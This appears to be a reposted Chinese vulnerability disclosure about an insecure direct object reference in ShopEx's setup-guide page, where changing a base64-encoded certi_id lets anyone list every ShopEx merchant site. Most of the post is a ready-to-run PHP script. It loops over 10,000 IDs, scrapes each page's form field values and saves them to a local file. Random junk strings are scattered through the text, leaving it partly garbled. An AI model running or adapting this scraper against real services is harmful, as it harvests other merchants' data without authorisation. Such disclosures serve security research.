ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
+ d/ s( ^) M& P& V$ }1 ?详细说明：
( ?# f+ i* U8 G# N问题出现在shopex 网店使用向导页面
/ b5 K$ x# K& @2 _+ {
; D" N  Y: f0 u( |% e
, |: U+ v: e8 J$ L) Q
( Y: t7 X2 j6 Z/ Q8 A- {http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

. z; @! t, m4 Q; ?2 T& r* ?

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

/ m& \$ B7 X9 B$ ^; a2 y4 F
' U2 }6 H3 y# G# ]
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

- q1 [: k5 ]( H3 T: E: N2 q5 Y
: m1 Q. f# }' d" R
<?php
5 T/ p& `) K- W' ^1 T
$ h1 R7 M/ q' T- H$ k( C9 t! B                for ($i=1; $i < 10000; $i++) { //遍历
2 y8 t2 @0 }; d7 z
                        ShowshopExD($i);

                }

+ u8 f$ x1 v0 R& p; l; U                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
. _2 @+ T4 s) i, ~
' F( J; [" {/ g- W3 y' M( {                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
, Q* w1 ]+ J8 S, d" `; h  |; x9 \
        $ch = curl_init($url);
1 d5 E/ s* ^/ d
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
: G/ r- p, W" h6 N& v: o
! l4 g' `  s9 _        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
- L3 i8 K. T4 a, d1 n
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

6 t, J( X0 R- j( S* I) W* C/ I7 C        if(strpos($result,$refer))
3 g7 M) d) r6 I, w/ v* ~% S
$ s: E$ ^: D% X& i  u        {
8 g' ~) E" \- ~- c
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
3 M4 m- Y; I* P# R# |! Z* c9 z; s: W
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

. D9 I4 n8 v1 ]9 t4 d$ F                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
: h* ]+ q8 }$ U* z! t" K
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
; j, `  G: N5 V
                }

                echo '--------------------------------'."\r\n";

% P( M5 w5 K0 u; _0 Y& K* a                fclose($fp);

- W1 f9 q+ a* _% |) R        }

# Q+ B- p( t6 q1 C- c6 ]% b        flush();

        curl_close($ch);
* P( p$ p& C  u9 G4 a; f; U, i
' ?8 X- L1 p3 `3 Y/ f6 P                }
# z+ W: r! {& p, ]0 \
?>
漏洞证明：
; u( ^. \1 I' _  [% N0 g5 ~7 F; Zhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
9 N$ i2 H3 G6 u* g/ |' grefer换成其他加密方式
7 k% l  J  R; Y9 H7 d